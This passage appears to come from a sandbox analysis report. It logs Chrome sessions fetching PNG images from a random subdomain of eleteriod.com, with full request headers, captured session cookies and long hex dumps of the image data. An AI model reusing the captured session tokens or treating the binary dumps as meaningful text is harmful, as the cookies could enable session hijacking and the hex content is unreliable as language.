93 9a 38 be dd cf 9f 1d b5 b8 0f 9c d7 c0 Data Ascii: O0:JR?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: e4 aa f7 e5 1d 1e 75 a1 65 80 af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd 00 dc 0c 7c 9b b4 Data Ascii: ue&w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ\|
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 08 49 92 24 49 ea 06 bd a4 2d 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 53 af 47 e1 56 79 Data Ascii: I$I-%>o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,SGVy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.17	59923	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:16 UTC	1145	OUT	GET /qrVD5kJZloQSesAn3G3goFnI5CufOEbJOuztggbUKlWDbs12uhS3VGXPOyeiAat4cm4bAef240 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:17 UTC	672	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:17 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="qrVD5kJZloQSesAn3G3goFnI5CufOEbJOuztggbUKlWDbs12uhS3VGXPOyeiAat4cm4bAef240" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XXlg23iOwsRiOK4Omj%2FSzIX7Ox7WF7pZUpM2%2BWgcxbw5A5ZgJwPNsC6brK8DWc4S82bb%2FkL0eja3TOT%2F%2Bbs4oXWOm0tZk0zysVjzRgH9WCYNaRt4FXLxLSVf8hcEUg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb75c0d1b1982-EWR
2024-05-22 18:02:17 UTC	697	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db 37 ae e1 c6 95 0b 48 fc 98 Data Ascii: )O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz7H
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f 56 0b 53 46 f4 a2 0a 0f 66 Data Ascii: ,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0CVSFf
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad 47 b5 06 54 b1 81 90 9d 3d Data Ascii: &Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^GT=
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b c7 cd 9e 39 93 ca 2e 5f Data Ascii: #Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[9._
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 8e 1e a5 fd 8e 18 39 12 Data Ascii: 37G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq9
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa f5 6b da 6f df 61 a3 51 Data Ascii: {=I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.koaQ
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 5b d9 c7 a3 5e e1 e7 f3 Data Ascii: rn^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J![^
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 e7 57 0b cb 97 Data Ascii: .j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4aW
2024-05-22 18:02:17 UTC	1369	IN	Data Raw: 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 a7 ad 10 54 37 b9 4e 64 7c 02 3a 1e 3d 86 Data Ascii: ${t{\|FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gvT7Nd\|:=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.17	59924	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:16 UTC	1148	OUT	GET /uvQfEFbBsA1PWjqjC2AsB3Sf3dRFflrh48dP0d45iW8WDARjIzdLtY2l8Xc5J58nzR6zokJzgh260 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:18 UTC	677	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:18 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="uvQfEFbBsA1PWjqjC2AsB3Sf3dRFflrh48dP0d45iW8WDARjIzdLtY2l8Xc5J58nzR6zokJzgh260" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EAX%2FRU%2Bc7z2xxx%2FJ9wQlhyY7eqZcpLaGFfqm%2FpsPPQF%2FQfgPXygs2%2B54S9fdCZrRITVHyGwXx31xb6uu6g3XHuVjt0d8scfaSaecMWxgWl59qtw9o5ybzegDv2ylYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb75e7a5d8c12-EWR
2024-05-22 18:02:18 UTC	692	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:18 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:18 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:18 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
